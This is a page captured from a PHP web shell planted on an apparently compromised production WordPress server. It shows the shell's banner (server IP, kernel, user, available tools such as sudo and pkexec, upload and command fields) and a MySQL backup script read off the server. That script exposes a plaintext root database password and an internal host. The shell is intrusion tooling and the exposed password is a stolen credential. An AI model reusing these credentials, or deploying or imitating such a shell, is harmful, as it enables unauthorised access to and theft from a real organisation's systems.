403Webshell
Server IP : 158.178.228.73  /  Your IP : 80.80.80.153
Web Server : Apache/2.4.37 (Oracle Linux Server) OpenSSL/1.1.1k
System : Linux ust-wp1-prod 5.15.0-308.179.6.el8uek.x86_64 #2 SMP Wed Apr 23 10:46:57 PDT 2025 x86_64
User : tomasFtp ( 1007)
PHP Version : 8.4.8
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /proc/thread-self/root/proc/self/root/proc/thread-self/root/bin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc/thread-self/root/proc/self/root/proc/thread-self/root/bin/backup_mysql_tomas.sh
#!/bin/bash

# === CONFIGURATION ===
HOST=80.80.81.111     
PORT=3306
USER="root"
PASSWORD="Root%40ust-mysql1-prod4WordPress" # WARNING: Consider using a .mylogin.cnf or prompt instead
OUTPUT_DIR="/backup"
THREADS=4
#DATE=$(date -d "+8 hours" +"%Y%m%d_%H%M%S")
DATE=$(date -d "+8 hours" +"%m%d%y%H%M")
DUMP_NAME="tomas.sql.$DATE"
#SCHEMAS="www"     # or specify: "your_schema1 your_schema2"

# === CREATE BACKUP DIRECTORY ===
mkdir -p "$OUTPUT_DIR/$DUMP_NAME"

# === PERFORM BACKUP ===
## TO DUMP ALL SCHEMAS (SUCCESS
#mysqlsh --uri "$USER:$PASSWORD@$HOST:$PORT" --js -e "
#util.dumpInstance('$OUTPUT_DIR/$DUMP_NAME', {
#    threads: $THREADS,
#    dryRun: false,
#    compatibility: ['strip_definers', 'create_invisible_pks'],
#    compression: 'zstd',
#    ocimds: true
#});
#"

##TO DUMP A SINGLE SCHEMA (SUCCESS)
#mysqlsh --uri "$USER:$PASSWORD@$HOST:$PORT" --js -e '
#util.dumpSchemas(["www"], "/backup/www_only", {
#    threads: 4,
#    compatibility: ["strip_definers"]
#});
#'

## With dynamic table name (SUCCESS)
mysqlsh --uri "$USER:$PASSWORD@$HOST:$PORT" --js -e "
util.dumpSchemas(['tomas'], '$OUTPUT_DIR/$DUMP_NAME', {
    threads: 4,
    compatibility: ['strip_definers'],
    ocimds: true
});
"



# === OPTIONAL: VERIFY BACKUP ===
if [ $? -eq 0 ]; then
    echo "Backup completed successfully: $OUTPUT_DIR/$DUMP_NAME"
else
    echo "Backup failed." >&2
    exit 1
fi


Youez - 2016 - github.com/yon3zu
LinuXploit